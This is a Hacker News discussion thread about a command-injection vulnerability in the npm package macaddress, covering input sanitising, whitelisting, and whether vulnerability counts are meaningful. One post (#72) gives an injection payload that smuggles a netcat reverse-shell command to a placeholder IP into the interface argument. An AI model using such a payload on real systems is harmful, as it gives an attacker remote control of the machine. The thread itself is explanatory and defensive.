Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Critical vulnerability of NPM package macaddress

nodesecurity.io

Post reply on HN
Print view View original

71–80 of 99 posts

Re: Critical vulnerability of NPM package macaddress

#71

Post by tedunangst »

okdana wrote: post #68
amluto wrote: post #59

Earlier quoted context omitted.

> after verifying that the iface parameter does not contain a directory separator. No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.

How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want: % sudo ip link set eth3 down % sudo ip link set eth3 name "'deal-with-it'" % sudo ip link show "'deal-with-it'" 5: 'deal-with-it': mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff The only interface-name restrictions iproute2 sets i…

So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?

Re: Critical vulnerability of NPM package macaddress

#72

Post by deelowe »

parenthephobia wrote: post #19
donkeyd wrote: post #11

Earlier quoted context omitted.

In what scenarios could this be abused?

Anything which passes "iface" through without sanitising it. The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access. e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})

I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.

Re: Critical vulnerability of NPM package macaddress

#73

Post by duxup »

koolba wrote: post #2

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/n…

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

Re: Critical vulnerability of NPM package macaddress

#74

Post by sli »

duxup wrote: post #73
koolba wrote: post #2

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/n…

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

Yes. You will simply never catch every possible case that can potentially cause harm.

Re: Critical vulnerability of NPM package macaddress

#75

Post by jmull »

georgyo wrote: post #27

Many people here are saying that the problem had been in the code base for years, was super obvious, and that just no one looked at the code. I think that it is much more relevant that the node community does do many micro packages, that it makes so much nose to look at the quality of pulled in packages. I recently pulled down a web app (Zulip) the packages.json expands to almost 1400 npm packages. How is any human g…

I think it’s a misapprehension to focus on the granularity of release items (packages). Why should that especially influence the security (or other variables of quality) of the underlying source?

If a given app includes 1400 pieces of code, does it matter that you can discern all 1400 externally vs if all 1400 are bundled into a single package?

However it’s bundled, there’s code beneath for it all, all with the same potential problems. All of it with the same need to be reviewed and/or trusted.

If anything, the transparency may help. It’s certainly hard for me to see why it hurts.

Re: Critical vulnerability of NPM package macaddress

#76

Post by tomxor »

duxup wrote: post #73
koolba wrote: post #2

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/n…

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec.

The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics.

I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too.

It seems like it's just best avoided unless absolutely necessary (most often it's not).

Re: Critical vulnerability of NPM package macaddress

#77

Post by f055 »

staticassertion wrote: post #69
f055 wrote: post #64

Earlier quoted context omitted.

I'm shocked. There are almost 30 advisories in May alone that are 7+. To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885...

Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.

Generally, how much vulnerabilities is too much? I think Node is past this point.

Re: Critical vulnerability of NPM package macaddress

#78

Post by duxup »

sli wrote: post #74
duxup wrote: post #73

Earlier quoted context omitted.

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

Yes. You will simply never catch every possible case that can potentially cause harm.

Thank you.

That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.

Re: Critical vulnerability of NPM package macaddress

#79

Post by tomxor »

xorcist wrote: post #55
tomxor wrote: post #36

Earlier quoted context omitted.

Nodejs API docs for exec say: > Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution. I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the…

Quoted exactly right, it will not be exploitable. However, this amounts to declaring which input is dis allowed, generally not a good idea. It is preferrable to declare which input is allowed. In this case, matters are worse because without knowing which shell we are running under and which cat we are executing it is impossible to know the complete list of dangerous characters. (In fact, if some sloppy sysadmin have…

Thanks

> matters are worse because without knowing which shell we are running under

The shell in exec can be configured, it's /bin/sh by default but of course this is linked to all kinds of different things on different OS, ubuntu links to dash, used to be bash, FreeBSD has a "proper" sh. I suppose if going through a shell was somehow necessary you could try to be more secure by specifying a absolute path to a shell but...

> In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.

:P I feel like it's game over at that point, is there really any point in worrying about library security when the $PATH has been effectively hijacked?

Re: Critical vulnerability of NPM package macaddress

#80

Post by staticassertion »

f055 wrote: post #77
staticassertion wrote: post #69

Earlier quoted context omitted.

Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.

Generally, how much vulnerabilities is too much? I think Node is past this point.

There is no limit - as I said, counting is pointless.

As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not.

Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk?

Counting vulns is pointless.

Post reply on HN